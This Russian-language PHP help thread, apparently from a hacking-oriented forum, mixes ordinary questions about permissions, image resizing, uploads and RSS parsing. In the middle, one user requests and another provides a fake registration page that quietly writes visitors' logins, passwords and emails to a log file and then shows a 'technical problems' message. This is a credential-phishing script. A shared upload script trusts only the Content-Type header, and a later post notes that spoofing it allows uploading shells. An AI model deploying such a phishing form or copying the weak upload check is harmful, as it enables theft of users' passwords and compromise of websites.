Привет!) Есть скрипт creat_dir.php(CHMOD 771), который находится в папке test(chmod 770), скрипт должен создать др. папку в этой же директории... директория создаётся, но с ней ничего нельзя сделать, даже открыть(при попытке открыть пишет: "<www.wallst.ru> служебная директория").... почему подскажите плз также пробывал creat_dir.php(CHMOD 777) и директорию test(CHMOD 777).... не выходит((( все это дело происходит на хосте wallst.ru
noooob'ik Покажите вывод команды ls -la PHP: <? header('Content-Type: text/plain'); passthru('ls -la /путь/до/папки/test'); ?>
здраствуйте, ребята памагите написать файк плиз, те мануалы что есть мне не тадходят так как они привязываются к определённому сайту, мне нужен скрипт каторый я ставлю просто на пустую страницу , скрипт регистрации с 4мя полями ввода, логит, парол, подтверждение пароля и емаил и кнопка отослать. при нажатии отослать, скрипт должен тупо сохронять данные в тхт файл и пасылать на страницу типа технические работы . помогите плиз спс заранее
Code: <? $form= <<<HTML <form method="post"> Введите логин: <input type="text" name="login" size="25" /><br> Введите пароль: <input type="text" name="pass" size="25" /><br> Повторите пароль: <input type="text" name="retry" size="25" /><br> Введите e-mail: <input type="text" name="email" size="25" /><br> <input type="submit" value='окей' /> </form> HTML; if (isset($_POST['login'])) { if ($_POST['login']!="" && $_POST['pass']!="" && $_POST['retry']!="" && $_POST['email']!="") { $login=$_POST['login']; $pass=$_POST['pass']; $retry=$_POST['retry']; $email=$_POST['email']; $file = fopen("log.txt", "a"); fwrite($file, "$login:$pass:$retry:$email\r\n"); echo "Техничесике проблемы"; } else { echo "Что-то не введено"; echo $form; } } else echo $form; ?> Какой файл создавать (куда убудут пистаься логи) и какие на него парва ставить, догадаешься.
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???
у меня для всего сайта стоит обработка xml как php, а для определенной папки мне нужно чтобы обрабатывалось как xml
PHP: $idd='name' $size_b=400; //ширина большого $size_m=150; //ширина маленького $caches_b=30; //качество сохранения большого $caches_m=40; //качество сохранения маленького фото $ssss=$_FILES["foto1"]["name"]; if ($_FILES["foto1"]["name"]=='') { }else{ $file=$_FILES["foto1"]["tmp_name"]; $xa=1; $file_new="../foto_big/$idd.jpg"; $res_k=1.5;//коэффициент деления ширины/высоты $old_file_size=filesize($file); $is=GetImageSize("$file"); $old_w=$is[0]; $old_h=$is[1]; $cdc=$old_w/$size_b; $new_w=$size_b; $new_h=$old_h/$cdc; $img_old=imagecreatefromjpeg($file); $img_new=imagecreatetruecolor($new_w,$new_h); imagecopyresized($img_new,$img_old,0,0,0,0,$new_w, $new_h,$old_w,$old_h); imagejpeg($img_new, $file_new,$caches_b); $cdc=$old_w/$size_m; $new_w=$size_m; $new_h=$old_h/$cdc; $file_new="../foto_mini/$idd.jpg"; $img_old=imagecreatefromjpeg($file); $img_new=imagecreatetruecolor($new_w,$new_h); imagecopyresized($img_new,$img_old,0,0,0,0,$new_w,$new_h,$old_w,$old_h); imagejpeg($img_new, $file_new,$caches_m); $is_new=GetImageSize("$file_new"); $new_file_size=filesize($file_new); $raznitca=$old_file_size/$new_file_size; } Вот как то делал загрузку на сервер картинок, мкрипт делает два файла один большой другой маленький ($res_k тут выставляеться во сколько раз меньше второй)
Давным-давно валяется, и не где-нибудь, а именно здесь, и именно в "Полезные скрипты", и не от кого-нибудь, а от ЕНОТ: Code: https://forum.antichat.ru/showpost.php?p=837324&postcount=431 Разуйте глаза: PHP: <?php /* Пример загрузки файлов на сервер */ #Дира для загруженных файлов $uploaddir = ''; #Разрешённые типы файлов (через запятую) $types = 'jpeg,gif,png'; #Максимальный размер файла (в килобайтах) $maxsize = 100; if(!empty($_FILES)){ $maytypes = explode(',', str_replace(' ', '', $types)); foreach($maytypes as $maytype){ if(stristr($_FILES['filename']['type'], $maytype)){ $may = 1; break; }else{ $may = 0; } } if($may){ if($_FILES['filename']['size'] <= $maxsize*1024){ $dir = './'.$uploaddir.'/'.basename($_FILES['filename']['name']); if(copy($_FILES['filename']['tmp_name'], $dir)){ echo 'Файл успешно загружен.<br/> Ссылка на файл: <a href="'.$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>'; }else{ echo 'Возникли ошибки при загрузке файла'; } }else{ echo 'Размер файла превышает '.$maxsize.' килобайт'; } }else{ echo 'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types; } } ?> <form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data"> <input name="filename" type="file" /><br /> <input type="submit" value="Загрузить" /> </form>
PHP: <? $url = 'computers.rss'; //адрес RSS ленты $xml = xml_parser_create(); //создаёт XML-разборщик xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); //устанавливает опции XML-разборщика xml_parse_into_struct($xml, file_get_contents($url), $element, $index); //разбирает XML-данные в структуру массива xml_parser_free($xml); //освобождает XML-разборщик $count = 5; //число проходов цикла. for ($i=1; $i < $count; $i++) { echo '<a href='.$element[$index["LINK"][$i+1]]["value"].'> <h1>'.$element[$index["TITLE"][$i+1]]["value"].'</h1> </a>'; //выводим на печать заголовок статьи echo '<p>'.$element[$index["DESCRIPTION"][$i]]["value"].'</p>'; //выводим на печать текст статьи } ?> нашел в инете парсер рсс ленты, ни кто не подскажет, как тут видно в переменную $url засылается локаьлный канал rss - computers.rss, почему то скрипт не работает когда я указываю на источник из вне, это проблемма решиться если я выложу сайт на хост?
2 .:EnoT:. , Pashkela and all Скажу немного не по теме, но возможно моя маленькая заметка убережет людей от потери информации на сервере... =) PHP: if(stristr($_FILES['filename']['type'], $maytype)){ Чтобы обойти данную проверку, достаточно всего лишь изменить в пост пакете Content-Type с текущим значением, на Content-Type: image/gif, и можно грузить все что душе угодно, включая шеллы
для этого я и писал ф-цию для заливки фоток ток она немного старая и код там немного ламерский ну ничё сойдёт ))) основное там в порядке =) http://forum.antichat.ru/showpost.php?p=781805&postcount=4
Есть php-скрипт, который считает хосты при посещении, никаких куков, и ява скриптов. Нужен скрипт, чтобы отправлять запрос эмулирующий браузер. Вот как Но без отображение этого сайта.